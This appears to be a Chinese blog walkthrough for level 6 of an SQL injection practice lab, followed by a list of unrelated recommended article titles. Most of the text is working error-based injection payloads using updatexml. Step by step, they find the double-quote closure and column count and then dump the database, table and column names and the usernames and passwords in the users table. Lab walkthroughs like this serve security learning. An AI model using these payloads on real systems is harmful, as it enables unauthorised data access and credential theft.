SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
嘘神秘用8 小时前
布:AI 驱动的 Redis 客户端,更快、更直观
数据库·人工智能·redis
东北小狐狸-Hellxz10 小时前
Redis 哨兵搭建+ACL权限控制
数据库·redis
研究员子楚11 小时前
GEO行业发展标准体系白皮书V2.0-第09卷 · 适配篇:硅基主权伦理宪章与行业适配宣言
数据库·人工智能·geo
CoderMeijun11 小时前
一条SQL查询语句在MySQL中是如何执行的
mysql·sql执行流程·连接器·mysql架构·索引下推·执行器
l1340620823512 小时前
鸿蒙实战:RDB 数据库设计与 DatabaseService
数据库·华为·harmonyos·鸿蒙系统
山峰哥12 小时前
数据库工程与索引策略实战指南‌
服务器·数据库·sql·oracle·深度优先
谙忆12 小时前
图片版权保护工程实战:明水印、盲水印(DCT隐写)、Referer防盗链与签名URL怎么落地
数据库
KaMeidebaby13 小时前
卡梅德生物技术快报|抗体合成:多肽抗体合成工程化方案:Nsp2 保守肽多抗制备与多维度验证
前端·网络·数据库·人工智能·算法
xfhuangfu13 小时前
19c CDB架构下的数据库启动和停止
数据库·架构
神道君天下13 小时前
填充与积累:积分与面积的可视化
数据库·oracle